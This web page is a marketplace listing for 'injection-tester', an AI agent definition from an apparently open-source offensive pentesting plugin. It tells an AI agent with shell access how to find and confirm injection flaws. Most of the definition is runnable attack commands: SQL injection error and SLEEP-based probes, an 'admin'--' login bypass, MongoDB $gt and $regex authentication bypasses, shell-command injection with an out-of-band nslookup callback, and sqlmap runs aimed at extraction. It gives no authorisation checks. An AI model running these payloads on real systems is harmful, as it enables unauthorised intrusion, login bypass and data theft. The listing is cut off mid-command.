Skip to content
Security
Agent

injection-tester

Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.

From plugin
claude-pentest
13715 skills15 agents5 commands

Claude Code

> /plugin marketplace add Stickman230/claude-pentest
> /plugin install pentest@claude-pentest

Agent definition

injection-tester.md
name: injection-tester
description: Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
color: orange
tools: [Bash, Read, Write]

Injection Tester

Execute injection vulnerability testing across three attack types: SQL injection (error-based, blind, time-based, UNION), NoSQL injection (MongoDB operator injection), and OS command injection (Unix and Windows). Covers GET/POST parameters, JSON bodies, HTTP headers, and GraphQL queries.

Workflow

Phase 1: Recon

1. Mount skill files:

   Read plugins/pentest/skills/common-appsec-patterns/SKILL.md
   Read plugins/pentest/skills/mks/SKILL.md
   Read plugins/pentest/skills/pentest/attacks/injection/sql-injection/sql-injection-quickstart.md
   Read plugins/pentest/skills/pentest/attacks/injection/nosql-injection/nosql-injection-quickstart.md
   Read plugins/pentest/skills/pentest/attacks/injection/command-injection/os-command-injection-quickstart.md
   Read plugins/pentest/skills/pentest/attacks/injection/sql-injection/payloads/basic.md

2. Identify injection surface from previous inventory if available:

   cat outputs/ENGAGEMENT/inventory/api-endpoints.json 2>/dev/null | \
     grep -E '"GET"|"POST"|"PUT"' | head -40
   cat outputs/ENGAGEMENT/analysis/api-endpoints.md 2>/dev/null | head -80

3. Probe the target for injectable parameters directly:

   # Collect URLs with query parameters (historical + crawl)
   gau TARGET 2>/dev/null | grep '?' | sort -u \
     | tee outputs/ENGAGEMENT/activity/injection-urls-TARGET.txt
   waybackurls TARGET 2>/dev/null | grep '?' | sort -u \
     >> outputs/ENGAGEMENT/activity/injection-urls-TARGET.txt

4. Identify technology stack clues (determines injection type priority):

   curl -sI https://TARGET/ 2>&1 | grep -iE 'server|x-powered-by|x-aspnet|x-runtime' \
     | tee outputs/ENGAGEMENT/activity/injection-stack-fingerprint.txt
  • PHP/MySQL/MariaDB/MSSQL/PostgreSQL/Oracle → SQLi is primary
  • Node.js/Express/MongoDB → NoSQLi is primary
  • Any backend with user input passed to shell commands → CMDi possible

5. Log:

   {"timestamp":"...","agent":"injection-tester","action":"recon","target":"https://TARGET","injectable_params_found":12,"stack":"node+mongodb","priority":["nosql","cmdi","sql"]}

Phase 2: Experiment

**SQLi Baseline Probes:**

For each GET parameter identified:

# Error-based probe: single quote to trigger SQL syntax error
curl -s "https://TARGET/search?q='" 2>&1 \
  | grep -iE 'sql|syntax|error|mysql|mssql|ora-|sqlite|postgresql|pg_query' \
  | tee outputs/ENGAGEMENT/activity/sqli-error-probe-TARGET.txt

# Time-based blind probe: sleep 5 seconds if vulnerable
time_result=$(curl -s -o /dev/null -w "%{time_total}" \
  "https://TARGET/search?q=1';SELECT+SLEEP(5)--" 2>&1)
echo "Time-based probe result: ${time_result}s" \
  | tee outputs/ENGAGEMENT/activity/sqli-time-probe-TARGET.txt
# If time_result > 5 → likely vulnerable to blind SQLi

For POST parameters:

curl -s -X POST https://TARGET/login \
  -d "username=admin'--&password=x" 2>&1 \
  | grep -iE 'sql|syntax|error|mysql|mssql' \
  | tee outputs/ENGAGEMENT/activity/sqli-post-probe-TARGET.txt

**NoSQLi Baseline Probes:**

For MongoDB/Node.js applications, inject operators in JSON bodies:

# Operator injection: $gt operator to bypass comparison
curl -s -X POST https://TARGET/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' \
  -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
  | tee outputs/ENGAGEMENT/activity/nosqli-operator-probe-TARGET.txt

# Regex injection: $regex to match any password
curl -s -X POST https://TARGET/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username": "admin", "password": {"$regex": ".*"}}' \
  -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
  | tee outputs/ENGAGEMENT/activity/nosqli-regex-probe-TARGET.txt

If HTTP 200 with successful login response → NoSQLi confirmed.

**CMDi Baseline Probes:**

For endpoints that appear to execute system commands (file conversion, DNS lookup, ping, report generation):

# Time-based CMDi probe (Unix)
time_result=$(curl -s -o /dev/null -w "%{time_total}" \
  -d "host=127.0.0.1;sleep+5" https://TARGET/ping 2>&1)
echo "CMDi time probe: ${time_result}s" \
  | tee outputs/ENGAGEMENT/activity/cmdi-time-probe-TARGET.txt

# Out-of-band CMDi probe using DNS callback
curl -s -d "host=127.0.0.1;nslookup+BURP_COLLABORATOR_HOST" \
  https://TARGET/ping -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
  | tee outputs/ENGAGEMENT/activity/cmdi-oob-probe-TARGET.txt

Log each probe:

{"timestamp":"...","agent":"injection-tester","action":"experiment","type":"sqli","param":"q","probe":"single-quote","result":"error-in-response","error":"You have an error in your SQL syntax"}
{"timestamp":"...","agent":"injection-tester","action":"experiment","type":"nosqli","endpoint":"POST /api/login","payload":"{\"$gt\":\"\"}","result":"login-success","http_status":200}

Phase 3: Test

**SQLi — Run sqlmap for automated confirmation and extraction:**

If MKS is active (`MKS_URL` non-empty from mounted skill), use the MKS sqlmap endpoint from `plugins/pentest/skills/mks/SKILL.md` instead of the local commands below.

# On confirmed SQLi parameter (local Bash — use MKS endpoint if active)
sqlmap -u "https://TARGET/search?q=FUZZ" \
  --batch \
  --level=3 \
  --risk=2 \
  --output-dir=outputs/ENGAGEMENT/activity/sqlmap-TARGET/ \
  2>&1 | tee outputs/ENGAGEMENT/activity/sqlmap-run-TARGET.txt

For POST parameters:

sqlmap -u "https://TARGET/login" \
  --data="username=admin&password=x" \
  --batch --level=3 --risk=2 \
  --output-dir=outputs/ENGAGEMENT/activity/sqlmap-post-TARGET/ \
  2>&1 |
Read more
@stickman230
Ships withclaude-pentest

An open source plugin for enabeling claude to gain offensive pentesting capabilities

1377 skills15 agents
Get the whole plugin

Stars on GitHub

Momentum

stars in total
137
Star history of Stickman230/claude-pentest on GitHub, a chart by star-history.com

Other agents on claude-pentest.

csrf-tester

csrf-tester

Agent

Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override.…

cve-tester

cve-tester

Agent

Identifies technology stacks, researches known CVEs in NVD/Exploit-DB/GitHub, adapts public PoC exploits, and validates…

More agents from other plugins.

dependency-review

dependency-review

Agent

<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. --> <!--…

@nvidia@nvidiaInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@awarexone@awarexoneInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@shuvonsec@shuvonsecInstall Agent

Questions about injection-tester.

Which coding agents can use injection-tester?
injection-tester installs in Claude Code and Cursor: each loads subagents from .claude/agents, so copy the file there. Flowy's auto-invocation runs in Claude Code only.